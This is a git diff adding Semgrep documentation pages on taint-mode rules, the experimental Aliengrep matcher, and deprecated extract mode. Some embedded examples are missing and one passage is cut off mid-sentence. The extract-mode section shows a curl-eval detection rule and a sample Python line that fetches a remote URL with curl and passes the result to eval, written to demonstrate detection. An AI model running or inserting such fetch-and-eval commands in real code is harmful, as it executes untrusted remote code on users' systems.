+2. The `to` and `from` metavariables. These metavariables must match an **expression**.
+ - The `from` metavariable specifies the entry point of the taint.
+ - The `to` metavariable specifies where the tainted data is propagated to, typically an object or data structure. If option `by-side-effect` is enabled (as it is by default) and the `to` metavariable matches an l-value, the propagation is side-effectful.
+
+In the preceding example, pattern `$S.add($E)` includes two metavariables `$S` and `$E`. Given `from: $E`, `to: $S`, `$E` matching `x`, and `$S` matching `s`, when `x` is tainted, then `s` becomes tainted by side-effect with the same taint as `x`.
+
+Another situation where taint propagators are useful is specifying in Java that, when iterating a collection that is tainted, the individual elements must also be considered tainted:
+
+
+```yaml
+pattern-propagators:
+- pattern: $C.forEach(($X) -> ...)
+ from: $C
+ to: $X
+```
+
+### Propagate without side-effect
+
+Taint propagators can be used in many different ways, and in some cases, you might not want taint to propagate by side effect. You can avoid this behavior by disabling `by-side-effect`, which is enabled by default.
+
+
+```yaml
+pattern-propagators:
+ - patterns:
+ - pattern: |
+ if something($FROM):
+ ...
+ $TO()
+ ...
+ from: $FROM
+ to: $TO
+ by-side-effect: false
+```
+
+The preceding propagator definition specifies that inside an `if` block, where the condition is `something($FROM)`, we want to propagate taint from `$FROM` to any function that is being called without arguments, `$TO()`.
+
+
+
+
+
+Because the rule turns off `by-side-effect`, the `sink` occurrence that is inside the `if` block is tainted, but this does not affect the `sink` occurrence outside the `if` block.
+
+## Minimize false positives
+
+The following [rule options](/writing-rules/rule-syntax/#options) can be used to minimize false positives:
+
+| Rule option | Default | Description |
+| - | - | - |
+| `taint_assume_safe_booleans` | `false` | Boolean data is never considered tainted (works better with type annotations). |
+| `taint_assume_safe_numbers` | `false` | Numbers (integers, floats) are never considered tainted (works better with type annotations). |
+| `taint_assume_safe_indexes` | `false` | An index expression `I` tainted does not make an access expression `E[I]` tainted (it is only tainted if `E` is tainted). |
+| `taint_assume_safe_functions` | `false` | A function call like `F(E)` is not considered tainted even if `E` is tainted. Note: When using Pro's [interprocedural taint analysis](/writing-rules/data-flow/taint-mode/overview#interprocedural-analysis-), this only applies to functions for which Semgrep cannot find a definition. |
+| `taint_only_propagate_through_assignments` 🧪 | `false` | Disables all implicit taint propagation except for assignments. |
+
+### Restrict taint by type 🧪
+
+Semgrep automatically sanitizes Boolean expressions when it can infer that the expression resolves to a Boolean if you enable the `taint_assume_safe_booleans` option.
+
+For example, comparing a tainted string against a constant string isn't considered a tainted expression:
+
+
+
+
+Similarly, by enabling `taint_assume_safe_numbers`, Semgrep automatically sanitizes numeric expressions when it can infer that the expression is numeric.
+
+
+
+You could define explicit sanitizers that clean the taint from Boolean or numeric expressions, but these options are more convenient and also more efficient.
+
+
+**NOTE**
+
+Semgrep Pro's ability to infer types for expressions varies depending on the language. For example, in Python, type annotations are not always present, and the `+` operator can also be used to concatenate strings. Semgrep also ignores the types of functions and classes coming from third-party libraries.
+
+
+
+
+
+
+### Assume tainted indexes are safe
+
+By default, Semgrep assumes that accessing an array-like object with a tainted index (that is, `obj[tainted]`) is itself a tainted **expression**, even if the **object** itself is not tainted. Setting `taint_assume_safe_indexes: true` makes Semgrep assume that these expressions are safe.
+
+
+
+
+
+### Assume function calls are safe
+
+
+**NOTE**
+
+A function call is referred to as _opaque_ when Semgrep doesn't have access to its definition, which is necessary to examine it and determine its taint behavior. For example, with an opaque function, Semgrep cannot determine whether a function call propagates any taint that comes through its inputs.
+
+In Semgrep Community Edition (CE), where taint analysis is intraprocedural, all function calls are opaque. In Semgrep Pro, with [interprocedural taint analysis](/writing-rules/data-flow/taint-mode/overview#interprocedural-analysis-), an opaque function could originate from a third-party library.
+
+
+By default, Semgrep assumes that an _opaque_ function call propagates any taint passed through any of its arguments to its output.
+
+For example, in the following code snippet, `some_safe_function` receives tainted data as input, so Semgrep assumes that it also returns tainted data as output. As a result, a finding is produced.
+
+
+```javascript
+var x = some_safe_function(tainted);
+sink(x); // undesired finding here
+```
+
+This rule can generate false positives, and in some cases, it produces a high level of noise. Setting `taint_assume_safe_functions: true` makes Semgrep assume that opaque function calls are safe and do not propagate any taint. If you'd like specific functions to propagate taint without generating a finding, you can do so using custom propagators:
+
+
+
+
+
+### Propagate only through assignments 🧪
+
+Setting `taint_only_propagate_through_assignments: true` makes Semgrep propagate taint through trivial assignments of the form ` = ` only. It requires the user to be explicit about any other kind of taint propagation that is to be performed.
+
+For example, neither `unsafe_function(tainted)` nor `tainted_string + "foo"` will be considered tainted expressions:
+
+
+
+
+
+## Metavariables, rule messages, and unification
+
+The patterns specified by `pattern-sources` and `pattern-sinks` (and `pattern-sanitizers`) are all independent of each other. If a metavariable used in `pattern-sources` has the same name as a metavariable used in `pattern-sinks`, these are considered to be different metavariables.
+
+In the message of a taint-mode rule, you can refer to any metavariable bound by `pattern-sinks`, as well as to any metavariable bound by `pattern-sources` that does not conflict with a metavariable bound by `pattern-sinks`.
+
+Semgrep can also treat metavariables with the same name as the _same_ metavariable; to turn this behavior on, set `taint_unify_mvars: true` using rule `options`. Unification enforces the behavior where whatever a metavariable binds to in each of these operators is, syntactically speaking, the **same** piece of code. For example, if a metavariable binds to a code variable `x` in the source match, it must bind to the same code variable `x` in the sink match. In general, unless you know what you are doing, avoid metavariable unification between sources and sinks.
+
+The following example demonstrates the use of source and sink metavariable unification:
+
+
+
+
+
+## Taint mode sensitivity
+
+### Field sensitivity
+
+The taint engine provides basic field sensitivity support. It can:
+- Track that `x.a.b` is tainted, but `x` or `x.a` is **not** tainted. If `x.a.b` is tainted, any extension of `x.a.b` (such as `x.a.b.c`) is considered tainted by default.
+- Track that `x.a` is tainted, but remember that `x.a.b` has been sanitized. Thus, the engine records that `x.a.b` is **not** tainted, but `x.a` or `x.a.c` are still tainted.
+
+
+**NOTE**
+
+The taint engine tracks taint **per variable**, *not* **per object in memory**. The taint engine does not track aliasing.
+
+
+
+
+
+
+### Index sensitivity 🧪
+
+
+**NOTE**
+
+Index sensitivity is a Semgrep Pro feature.
+
+
+Semgrep Pro has basic index sensitivity support:
+
+- This feature is only for access using the built-in `a[E]` syntax.
+- This feature works for _statically constant_ indexes that are integers, such as `a[42]` or strings, such as `a["foo"]`.
+- If an arbitrary index `a[i]` is sanitized, then every index becomes clean of taint.
+
+
+
+
+
+## Report findings on the source 🧪
+
+
+**NOTE**
+
+Reporting findings on the source of taint is a Semgrep Pro feature.
+
+
+By default, Semgrep reports taint findings at the location of the sink being matched. You must examine the taint trace to identify the source of the taint. However, you can also have Semgrep report the findings at the location of the taint sources by setting the [rule-level option](/writing-rules/rule-syntax/#options) `taint_focus_on` to `source`:
+
+```yaml
+options:
+ taint_focus_on: source
+```
+
+
+
+
+
+The [deduplication of findings](/writing-rules/data-flow/taint-mode/overview#deduplication-of-findings) still applies in this case. While Semgrep reports all the taint sources, the taint trace only informs you of one sink if a taint source can reach multiple sinks.
+
+## Restrict taint to at-exit sinks 🧪
+
+
+**NOTE**
+
+At-exit taint sinks is a Semgrep Pro feature.
+
+
+At-exit sinks are meant to facilitate writing leak-detection rules using taint mode. By setting `at-exit: true`, you can restrict a sink specification to only match at exit statements, or statements after which the control-flow will exit the function being analyzed.
+
+```yaml
+pattern-sinks:
+- pattern-either:
+ - pattern: return ...
+ - pattern: $F(...)
+ at-exit: true
+```
+
+The preceding sink pattern matches either `return` statements, which are always exit statements, or function calls occurring as exit statements.
+
+Unlike regular sinks, at-exit sinks trigger a finding if any tainted l-value reaches the location of the sink. For example, the preceding at-exit sink specification triggers a finding at a `return 0` statement if some tainted l-value reaches the `return`, even if `return 0` itself is not tainted. The location itself is the sink, rather than the code that is located there.
+
+You can use behavior, for example, to check that file descriptors are being closed within the same function where they were opened.
+
+
+
+
+
+The `print(content)` statement is reported because the control flow exits the function at that point, and the file has not been closed.
+
+## Track control sources 🧪
+
+
+**NOTE**
+
+Control taint sources is a Semgrep Pro feature.
+
+
+Typically, taint analysis tracks the flow of tainted _data_, but taint sources can also track the flow of tainted _control_ by setting `control: true`.
+
+```yaml
+pattern-sources:
+- pattern: source(...)
+ control: true
+```
+
+This is useful for checking reachability, that is, to determine if control flow from a given code location can reach another code location, regardless of whether there is any data flow between them. In the following example, SEmgrep checks whether `foo()` could be followed by `bar()`:
+
+
+
+
+
+By using a control source, you can define a context from which Semgrep detects if a call to some other code, such as a sink, can be reached.
+
+
+**NOTE**
+
+Use [taint labels](#taint-labels-) to combine both data and control sources in the same rule.
+
+
+## Taint labels 🧪
+
+Taint labels increase the expressiveness of taint analysis by allowing you to specify and track different kinds of tainted data in one rule using labels. This functionality is helpful for more complex use cases, such as when data becomes dangerous in several steps that are hard to specify through a single pair of source and sink.
+
+
+
+
+
+To include taint labels in a taint mode rule, follow these steps:
+
+
+
+Attach a `label` key to the taint source, such as `label: TAINTED` or `label: INPUT`:
+ ```yaml
+ pattern-sources:
+ - pattern: user_input
+ label: INPUT
+ ```
+ Semgrep accepts any valid Python identifier as a label.
+
+
+Restrict a taint source to a subset of labels using the `requires` key. The following sample extends the previous example with `requires: INPUT`:
+ ```yaml
+ pattern-sources:
+ - pattern: user_input
+ label: INPUT
+ - pattern: evil(...)
+ requires: INPUT
+ label: EVIL
+ ```
+ Combine labels using the `requires` key. To do so, use Python's Boolean operators, such as `requires: LABEL1 and not LABEL2`.
+
+
+Use the `requires` key to restrict a taint sink in the same way as source:
+ ```yaml
+ pattern-sinks:
+ - pattern: sink(...)
+ requires: EVIL
+ ```
+ The extra taint is only produced if the source itself is tainted and satisfies the `requires` formula.
+
+
+
+In the following example, assume that `user_input` is dangerous, but only when it passes through the `evil` function. This can be specified with taint labels as follows:
+
+
+
+
+
+
+### Multiple `requires` expressions in taint labels
+
+You can assign an independent `requires` expression to each metavariable matched by a sink. Given `$OBJ.foo($ARG)`, you can require that `$OBJ` has label `XYZ` and `$ARG` has label TAINTED, and `focus-metavariable: $ARG`:
+
+```
+pattern-sinks:
+- patterns:
+ - pattern: $OBJ.foo($SINK, $ARG)
+ - focus-metavariable: $SINK
+ requires:
+ - $SINK: BAD
+ - $OBJ: AAA
+ - $ARG: BBB
+```
diff --git a/mintlify-docs/writing-rules/data-flow/taint-mode/overview.mdx b/mintlify-docs/writing-rules/data-flow/taint-mode/overview.mdx
new file mode 100644
index 0000000000..7e7831d6ec
--- /dev/null
+++ b/mintlify-docs/writing-rules/data-flow/taint-mode/overview.mdx
@@ -0,0 +1,326 @@
+---
+title: "Taint analysis overview"
+sidebarTitle: "Taint analysis"
+---
+
+
+Semgrep supports [taint analysis](https://en.wikipedia.org/wiki/Taint_checking), also known as taint tracking, through taint rules. Taint rules are specified by the inclusion of `mode: taint` in your rule.
+
+Taint analysis is a dataflow analysis that tracks the flow of untrusted, or **tainted**, data throughout the body of a function or method. Tainted data originates from tainted **sources**. If tainted data is not transformed or checked accordingly, or **sanitized**, taint analysis reports a finding whenever tainted data reaches a vulnerable function, called a **sink**. Tainted data flows from sources to sinks through **propagators**, such as assignments and function calls.
+
+
+
+
+
+## Create a rule
+
+To create a taint tracking rule, include `mode: taint` in the rule's YAML definition file. This enables the following operators:
+
+| Operator | Required? |
+| - | - |
+| `pattern-sources` | Yes |
+| `pattern-propagators` | No |
+| `pattern-sanitizers` | No |
+| `pattern-sinks` | No |
+
+These operators, which act as `pattern-either` operators, take a list of patterns that specify what is considered a source, a propagator, a sanitizer, or a sink.
+
+> You can use **any** pattern operator and you have the same expressive power as you would with a `mode: search` rule.
+
+### Sample rule and pattern matching
+
+
+
+
+
+In the preceding example, Semgrep tracks the data returned by `get_user_input()`, which is the source of tainted data. You can think of what's happening as Semgrep running the pattern `get_user_input(...)` on your code, identifying all instances where `get_user_input` is called, and labeling them as tainted.
+
+The rule specifies the sanitizer `sanitize_input(...)`, so any expression that matches that pattern is considered sanitized. In particular, the expression `sanitize_input(data)` is labeled as sanitized. Even if `data` is tainted, as it occurs inside a piece of sanitized code, it does not produce any findings.
+
+Finally, the rule specifies that anything matching either `html_output(...)` or `eval(...)` should be regarded as a sink. There are two calls to `html_output(data)` that are both labeled as sinks. The first one in `route1` is not reported because `data` is sanitized before reaching the sink, whereas the second one in `route2` is reported because the `data` that reaches the sink is still tainted.
+
+Find more examples of taint rules in the [Semgrep Registry](https://semgrep.dev/r?owasp=injection%2Cxss), including [express-sandbox-code-injection](https://semgrep.dev/editor?registry=javascript.express.security.express-sandbox-injection.express-sandbox-code-injection).
+
+
+**WARNING**
+
+[Metavariables](/writing-rules/pattern-syntax#metavariables) used in `pattern-sources` are considered _different_ from those used in `pattern-sinks`, even if they have the same name! See [Metavariables, rule message, and unification](/writing-rules/data-flow/taint-mode/advanced#metavariables-rule-messages-and-unification) for further details.
+
+
+## Sources
+
+You can specify a taint source using a pattern. Like a search-mode rule, you can start this pattern with one of the following keys:
+
+- `pattern`
+- `patterns`
+- `pattern-either`
+- `pattern-regex`
+
+Example:
+
+```yaml
+pattern-sources:
+- pattern: source(...)
+```
+
+**Any** subexpression that's matched by the pattern you define is regarded as a source of tainted data.
+
+Additionally, taint sources accept the following options:
+
+| Option | Type | Default | Description |
+| - | - | - | - |
+| `exact` | \{`false`, `true`} | `false` | See [Exact sources](#exact-sources). |
+| `by-side-effect` | \{`false`, `true`, `only`} | `false` | See [Taint sources by side-effect](/writing-rules/data-flow/taint-mode/advanced#taint-sources-by-side-effect). |
+| `control` (Pro) 🧪 | \{`false`, `true`} | `false` | See [Track control sources](/writing-rules/data-flow/taint-mode/advanced#track-control-sources-).
+
+### Exact sources
+
+Given the subsequent source specification and a piece of code, such as `source(sink(x))`, the call `sink(x)` is reported as a tainted sink.
+
+```yaml
+pattern-sources:
+- pattern: source(...)
+```
+
+The reason is that the pattern `source(...)` matches all of `source(sink(x))`, and that makes Semgrep consider every subexpression in that piece of code as being a source. In particular, `x` is a source, and it is being passed into `sink`.
+
+
+
+
+
+You can instruct Semgrep to only consider as taint sources the "exact" matches of a source pattern by setting `exact: true`:
+
+```yaml
+pattern-sources:
+- pattern: source(...)
+ exact: true
+```
+
+Once the source is exact, Semgrep no longer considers subexpressions as taint sources, and `sink(x)` inside `source(sink(x))` isn't reported as a tainted sink, unless `x` is tainted in another way.
+
+
+
+
+
+For many rules, this distinction isn't meaningful because it doesn't always make sense that a sink occurs inside the arguments of a source function.
+
+> If one of your rules relies on non-exact matching of sources, make this fact explicit with `exact: false`, even if it is the current default, so that your rule doesn't break if you change the default.
+
+## Sanitizers
+
+You can specify a taint sanitizer using a pattern. Like a search-mode rule, you can start the pattern with any of the following keys:
+
+- `pattern`
+- `patterns`
+- `pattern-either`
+- `pattern-regex`
+
+Example:
+
+```yaml
+pattern-sanitizers:
+- pattern: sanitize(...)
+```
+
+**Any** subexpression that is matched by this pattern is regarded as sanitized.
+
+Additionally, taint sanitizers accept the following options:
+
+
+| Option | Type | Default | Description |
+| - | - | - | - |
+| `exact` | \{`false`, `true`} | `false` | See [Exact sanitizers](#exact-sanitizers). |
+|`by-side-effect` | \{`false`, `true`, `only`} | `false` | See [Taint sanitizers by side-effect](/writing-rules/data-flow/taint-mode/advanced#taint-sanitizers-by-side-effect). |
+
+### Exact sanitizers
+
+Given the sanitizer specification that follows and a piece of code, such as `sanitize(sink("taint"))`, Semgrep doesn't report the call `sink("taint")`.
+
+```yaml
+pattern-sanitizers:
+- pattern: sanitize(...)
+```
+
+This is because the pattern `sanitize(...)` matches all of `sanitize(sink("taint"))`, and that makes Semgrep consider every subexpression in that piece of code as sanitized. In particular, `"taint"` is considered sanitized.
+
+
+
+
+
+You can instruct Semgrep only to consider the exact matches of a sanitizer pattern as sanitized by setting `exact: true`:
+
+
+```yaml
+pattern-sanitizers:
+- pattern: sanitize(...)
+ exact: true
+```
+
+Once the source is exact, Semgrep no longer considers subexpressions as sanitized, and `sink("taint")` inside `sanitize(sink("taint"))` is reported as a tainted sink.
+
+
+
+
+
+For many rules, this distinction isn't meaningful, because it does not always make sense that a sink occurs inside the arguments of a sanitizer function.
+
+
+**NOTE**
+
+If any of your rules rely on non-exact matches, make this explicit by setting `exact: false` in your rule definition, even if this is the default setting. This ensures that your rule doesn't break if the default changes.
+
+
+## Sinks
+
+You can specify a taint sink using a pattern. Like a search-mode rule, you can start this pattern with one of the following keys:
+
+- `pattern`
+- `patterns`
+- `pattern-either`
+- `pattern-regex`
+
+Unlike sources and sanitizers, Semgrep doesn't consider the subexpressions of the matched expressions as sinks by default.
+
+Example:
+
+```yaml
+pattern-sinks:
+- pattern: sink(...)
+```
+
+Additionally, taint sinks accept the following options:
+
+| Option | Type | Default | Description |
+| - | - | - | - |
+| `exact` | \{`false`, `true`} | `true` | See [Non-exact sinks](#non-exact-sinks). |
+| `at-exit` (Pro) 🧪 | \{`false`, `true`} | `false` | See [Restrict taint to at-exit sinks](/writing-rules/data-flow/taint-mode/advanced#restrict-taint-to-at-exit-sinks-). |
+
+### Non-exact sinks
+
+Given the following sink specification and a piece of code, such as `sink("foo" if tainted else "bar")`, Semgrep doesn't report the code as a tainted sink.
+
+
+```yaml
+pattern-sources:
+- pattern: sink(...)
+```
+
+Semgrep treats the argument passed to `sink` as the sink itself. In this case, the argument is `"foo" if tainted else "bar"`, which evaluates to either `"foo"` or `"bar"`. Since neither value is tainted, Semgrep does not flag the call.
+
+
+
+
+
+You can instruct Semgrep to consider any of the subexpressions matching the sink pattern a taint sink by setting `exact: false`:
+
+```yaml
+pattern-sinks:
+- pattern: sink(...)
+ exact: false
+```
+
+Once the sink is non-exact, Semgrep considers subexpressions as taint sinks, and `tainted` inside `sink("foo" if tainted else "bar")` is now reported as a tainted sink.
+
+
+
+
+
+## Findings
+
+Taint findings are accompanied by a taint trace that explains how the taint flows from source to sink.
+
+### Deduplication of findings
+
+Semgrep tracks all possible ways that taint can reach a sink, but it only reports one taint trace, not all the possible options. You can use the following example to visualize this behavior:
+
+
+
+Click **Open in Playground**.
+
+
+Run the example. Semgrep returns one match.
+
+
+Expand the **Matches** section, and click **dataflow**..
+
+
+Note that, even though `sink` can be tainted via `x` or via `y`, the trace will only show you one of these possibilities. If you replace `x = user_input` with `x = "safe"`, then Semgrep reports the taint trace via `y`.
+
+
+
+
+
+## Propagators 🧪
+
+
+**NOTE**
+
+Custom taint propagators is a Semgrep Pro feature.
+
+
+By default, tainted data automatically propagates through assignments, operators, and function calls (from inputs to output). However, there are other ways in which taint can propagate, but this requires language or library-specific knowledge that Semgrep does not have built in.
+
+You can define a taint propagator by specifying a pattern. Like search-mode rules, you can start this pattern with any of the following keys:
+
+- `pattern`
+- `patterns`
+- `pattern-either`
+- `pattern-regex`
+
+A propagator also needs to specify the origin (`from`) and the destination (`to`) of the taint to be propagated.
+
+| Field | Type | Description |
+| - | - | - |
+| `from` | metavariable | Source of propagation |
+| `to` | metavariable | Destination of propagation |
+
+In addition, taint propagators accept the following options:
+
+| Option | Type | Default | Description |
+| - | - | - | - |
+| `by-side-effect` | \{`false`, `true`} | `true` | See [Propagate without side-effect](/writing-rules/data-flow/taint-mode/advanced#propagate-without-side-effect). |
+
+For example, given the following propagator, if taint goes into the second argument of `strcpy`, its first argument gets the same taint:
+
+
+```yaml
+pattern-propagators:
+- pattern: strcpy($DST, $SRC)
+ from: $SRC
+ to: $DST
+```
+
+
+**INFO**
+
+Taint propagators only work intraprocedurally, that is, within a function or method. You cannot use taint propagators to propagate taint across different functions/methods. For that, use [interprocedural analysis](#interprocedural-analysis-).
+
+
+## Interprocedural analysis 🧪
+
+
+**INFO**
+
+Interprocedural taint analysis is a Semgrep Pro feature.
+
+
+[Semgrep](/semgrep-pro-vs-oss/) can perform interprocedural taint analysis, that is, track taint across multiple functions.
+
+In the following example, `user_input` is passed to `foo` as input, and from there, flows to the sink at line 3 through a call chain involving three functions. Semgrep can track this flow and report the sink as tainted. Semgrep also provides an interprocedural taint trace that explains how exactly `user_input` reaches the `sink(z)` statement. To see this, click **Open in Playground**, then find the **Matches** panel and click **dataflow**.
+
+
+
+
+
+Using the CLI option `--pro-intrafile` when invoking Semgrep, Semgrep performs interprocedural (across functions), _intra_-file (within one file) analysis. In other words, Semgrep tracks taint across functions, but it will not cross file boundaries. This is supported for essentially every language, and performance is very close to that of intraprocedural taint analysis.
+
+Using the CLI option `--pro`, Semgrep will perform interprocedural (across functions) as well as *inter*-file (across files) analysis. Inter-file analysis is only supported for [a subset of languages](/supported-languages). For a rule to run interfile, it also needs to set `interfile: true`:
+
+```yaml
+options:
+ interfile: true
+```
+
+### Memory requirements for inter-file analysis
+
+While interfile analysis is more powerful, it also demands more memory resources. The Semgrep team advises a minimum of 4 GB of memory per core, but **recommends 8 GB per core or more**. The specific amount of memory needed depends on the codebase and on the number of interfile rules being run.
diff --git a/mintlify-docs/writing-rules/experiments/aliengrep.mdx b/mintlify-docs/writing-rules/experiments/aliengrep.mdx
new file mode 100644
index 0000000000..f1bca0a804
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/aliengrep.mdx
@@ -0,0 +1,228 @@
+---
+title: "Aliengrep"
+---
+
+
+
+**CAUTION**
+
+This is an experimental matching mode for Semgrep Community Edition (CE). Many of the features described in this document are subject to change. Your feedback is important and helps us, the Semgrep team, to make desirable adjustments. You can file an issue in our [Semgrep CE GitHub repository](https://github.com/semgrep/semgrep/issues) or ask us anything in Semgrep Community Slack group.
+
+
+Aliengrep is an alternative to the [generic pattern-matching engine](/writing-rules/generic-pattern-matching) for analyzing files written in any language. The pattern syntax resembles the usual Semgrep pattern syntax. This document provides a reference to the syntactic features that Aliengrep supports.
+
+## Minimal example
+
+Specify that a rule uses the Aliengrep engine by setting `options.generic_engine: aliengrep`. See the Semgrep rule example below:
+
+```yaml
+rules:
+- id: example
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ message: "found the word 'hello'"
+ pattern: "hello"
+```
+
+
+**NOTE**
+
+We are considering a dedicated field `analyzer: aliengrep` instead of `options.generic_engine: aliengrep`.
+
+
+## Pattern syntax
+
+The following sections provide descriptions and examples of operators that Aliengrep uses in YAML rule files.
+
+### Whitespace
+
+The whitespace between lexical elements is ignored. By default, whitespace includes spaces, tabs, and newlines. The single-line mode restricts whitespace to only spaces and tabs (see [Single-line mode](#single-line-mode) section below).
+
+Lexical elements in target input are:
+
+* words (configurable)
+* brace pairs (configurable)
+* single non-word characters
+
+### Metavariables
+
+A metavariable captures a single word in the target input. By default, the set of word characters is `[A-Za-z_0-9]`. The pattern `$THING` matches a whole word such as `hello` or `world` if the target input is `hello, world.`.
+
+```yaml
+rules:
+- id: example
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ message: "found a word"
+ pattern: "$THING"
+```
+
+Repeating a metavariable (back-reference) requires a match of the same sequence that was matched by the first occurrence of the metavariable. For example, the pattern `$A ... $A` matches `a x y a`, assigning `a` to the metavariable `A`. It does not match `a x b`.
+
+### Ellipsis (`...`)
+
+In Semgrep rule syntax, an ellipsis is a specific pattern written as three dots `...`. Ellipsis matches a sequence of any lexical elements. Matching ellipses is lazy or shortest-match-first. For example, the pattern `a ... b` matches `a x b` rather than `a x b b` if the target input is `a x b b c`.
+
+Ellipses at the beginning or at the end of a pattern are anchored. For example, ellipses must match the beginning or the end of the target input, respectively. For example, `...` alone matches the whole input and `a ...` matches the whole input starting from the first occurrence of the word `a`.
+
+### Ellipsis metavariable (capturing ellipsis)
+
+An ellipsis metavariable `$...X` matches the same contents as an ordinary ellipsis `...` but additionally captures the contents and assigns them to the metavariable `X`.
+
+Repeating a metavariable ellipsis such as in `$...A, $...A` requires the same contents to be matched by each repetition, including the same whitespace. This is an unfortunate limitation of the implementation. For example, `$...A, $...A` matches `1 2, 1 2` and `1 2, 1 2` but it doesn't match `1 2, 1 2`.
+
+### Single-line mode
+
+Se the single-line mode with `options.generic_multiline: false` in rule files:
+
+```yaml
+rules:
+- id: single-line-example
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ generic_multiline: false
+ message: "found a password field"
+ pattern: "password: ..."
+```
+
+Now instead of matching everything until the end of the target input file, the pattern `password: ...` stops the match at the end of the line. In single-line mode, a regular ellipsis `...` or its named variant `$...X` cannot span multiple lines.
+
+Another feature of the single-line mode is that newlines in rule patterns must match literally. For example, the following YAML rule contains a two-line pattern:
+
+```yaml
+rules:
+- id: single-line-example2
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ generic_multiline: false
+ message: "found a password field"
+ pattern: "a\nb"
+```
+
+The pattern `"a\nb"` in the YAML rule file matches the following code:
+
+```
+x a
+b x
+```
+
+The pattern does not match if there is another number of newlines between `a` and `b`. The single-line mode does not match the following target input:
+
+```
+x a b x
+```
+
+It does however match in the default multiline mode of Aliengrep.
+
+
+**CAUTION**
+
+YAML syntax makes it easy to introduce significant newline characters in patterns without realizing it. When in doubt and for better clarity, use the quoted string syntax `"a\nb"` as we did in the preceding example. This ensures no trailing newline is added accidentally when using the single-line mode.
+
+
+### Long ellipsis (`....`)
+
+A long ellipsis (written as four dots, `....`) and its capturing variant `$....X` matches a sequence of any lexical elements even in single-line mode. It's useful for skipping any number of lines in single-line mode.
+
+In multiline mode, a regular ellipsis (three dots `...`) has the same behavior as a long ellipsis (four dots `....`).
+
+
+**NOTE**
+
+We wonder if the visual difference between `...` and `....` is too subtle. Let us know if you have ideas for a better syntax than four dots `....`.
+
+
+### Additional word characters captured by metavariables
+
+In the generic modes, a metavariable captures a word. The default pattern followed by a word is `[A-Za-z_0-9]+` (a sequence of one or more alphanumeric characters or underscores). The set of characters that comprise a word can be configured as an option in the Semgrep rule as follows:
+
+```yaml
+rules:
+- id: custom-word-chars
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ generic_extra_word_characters: ["+", "/", "="]
+ message: "found something"
+ pattern: "data = $DATA;"
+```
+
+The preceding example allows matching Base64-encoded data such as in the following target input:
+
+```
+data = bGlnaHQgd29yaw==;
+```
+
+There's currently no option to remove word characters from the default
+set.
+
+### Custom brackets
+
+The Aliengrep engine performs brace matching as expected in English text. The default brace pairs are parentheses (`()`), square brackets (`[]`), and curly braces (`{}`). In single-line mode, ASCII single quotes and double quotes are also treated like brace pairs by default. The following rule demonstrates the addition of `<>` as an extra pair of braces by specifying `options.generic_extra_braces`:
+
+```yaml
+rules:
+- id: edgy-brackets
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ generic_extra_braces: [["<", ">"]]
+ message: "found something"
+ pattern: "x ... x"
+```
+
+This pattern matches the `x x` in the following target input:
+```
+a x x a
+```
+
+Without declaring `<>` as braces, the rule would match only `x "]]
+ message: "found something"
+ pattern: "x ... x"
+```
+
+### Case-insensitive matching
+
+Some languages are case-insensitive according to Unicode rules (UTF-8 encoding). To deal with this, Aliengrep offers an option for case-insensitive matching `options.generic_caseless: true`.
+
+```yaml
+rules:
+- id: caseless
+ severity: MEDIUM
+ languages: [generic]
+ options:
+ generic_engine: aliengrep
+ generic_multiline: false
+ generic_caseless: true
+ message: "found something"
+ pattern: "Content-Type: $...CT"
+```
+
+This rule matches `Content-Type: text/html` but also `content-type: text/html` or `CONTENT-TyPe: text/HTML` among all the possible variants.
+
+
+**CAUTION**
+
+Back-referencing a metavariable requires an exact repeat of the text captured by the metavariable, even in caseless mode. For example, `$X $X` matches `ab ab` and `AB AB` but not `ab AB`.
+
diff --git a/mintlify-docs/writing-rules/experiments/deprecated-experiments.mdx b/mintlify-docs/writing-rules/experiments/deprecated-experiments.mdx
new file mode 100644
index 0000000000..25765b7075
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/deprecated-experiments.mdx
@@ -0,0 +1,161 @@
+---
+title: "Deprecated experiments"
+---
+
+## Equivalences
+
+
+**NOTE**
+
+This feature was deprecated in Semgrep v0.61.0.
+
+
+Equivalences enable defining equivalent code patterns (i.e. a commutative property: `$X + $Y <==> $Y + $X`). Equivalence rules use the `equivalences` top-level key and one `equivalence` key for each equivalence.
+
+For example:
+
+
+
+
+
+## Extract mode
+
+
+**DEPRECATION NOTICE**
+
+As of Semgrep 1.65.0, extract mode has been deprecated and removed from Semgrep. This feature may return in the future.
+
+
+Extract mode enables you to run existing rules on subsections of files where the rule language is different than the language of the file. For example, running a JavaScript rule on code contained inside of script tags in an HTML document.
+
+### Example of extract mode
+
+Without extract mode, writing rules to validate template, Markdown or configuration files which contain code in another language can be burdensome and require significant rule duplication.
+
+Let's take the following Bash rule as an example (a simplified version of the [`curl-eval`](https://github.com/semgrep/semgrep-rules/blob/release/bash/curl/security/curl-eval.yaml) rule from the Semgrep Registry):
+
+```yaml
+rules:
+ - id: curl-eval
+ severity: MEDIUM
+ languages:
+ - bash
+ message: Evaluating data from a `curl` command is unsafe.
+ mode: taint
+ pattern-sources:
+ - pattern: |
+ $(curl ...)
+ - pattern: |
+ `curl ...`
+ pattern-sinks:
+ - pattern: eval ...
+```
+
+Usually, Semgrep uses this rule only against Bash files. However, a project might contain Dockerfiles or Python scripts that invoke Bash commands—without an extract mode rule, Semgrep does **not** run any Bash rules against commands contained in files of different languages.
+
+However, with extract mode, you can provide Semgrep with instructions on how to extract any Bash commands used in a Docker `RUN` instruction or as an argument to Python's `os.system` standard library function.
+
+```yaml
+rules:
+ - id: extract-docker-run-to-bash
+ mode: extract
+ languages:
+ - dockerfile
+ pattern: RUN $...CMD
+ extract: $...CMD
+ dest-language: bash
+ - id: extract-python-os-system-to-bash
+ mode: extract
+ languages:
+ - python
+ pattern: os.system("$CMD")
+ extract: $CMD
+ dest-language: bash
+```
+
+By adding the extract mode rules as shown in the previous code snippet, Semgrep matches Bash code contained in the following Python file and reports the contained Bash as matching against the `curl-eval` rule.
+
+```python
+from os import system
+
+if system('eval `curl -s "http://www.very-secure-website.net"`'):
+ print("Command failed!")
+else:
+ print("Success")
+```
+
